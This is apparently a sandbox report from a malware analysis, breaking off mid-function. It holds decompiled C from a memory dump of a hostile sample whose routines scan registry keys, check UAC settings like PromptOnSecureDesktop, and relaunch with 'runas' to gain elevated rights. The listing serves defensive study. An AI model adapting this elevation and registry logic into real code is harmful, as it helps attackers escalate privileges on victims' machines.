Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CurrentLibraryLoadProcess
String ID:
API String ID: 2934848855-0
Opcode ID: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction ID: ff152fe7df6283169b44c0841219fe648ae006778000c8fb05779bb95ac2d07b
Opcode Fuzzy Hash: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction Fuzzy Hash: 8B215476A0120CAFDB01DFA4D844BE9B7B8EB49315F10C1A5ED08DB350D775DA40CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,74E043E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,74E043E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,74E043E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B
", xrefs: 00407599

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,Ct,?,74E043E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(Ct,00000000,?,?,00000000,?,?,?), ref: 0040719E
RegCloseKey.KERNELBASE(?,?,74E043E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(?), ref: 00407208
RegCloseKey.ADVAPI32(?), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(?), ref: 004072D0
RegCloseKey.ADVAPI32(?), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(?), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
, xrefs: 00407061
Ct, xrefs: 00407093, 0040719B, 00407096

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $PromptOnSecureDesktop$Ct
API String ID: 4293430545-65454257
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				int _t94;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				_t94 = E00406EDD(); // executed
				 *(_t168 + 0x5c) = _t94;
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78); // executed
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50)); // executed
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
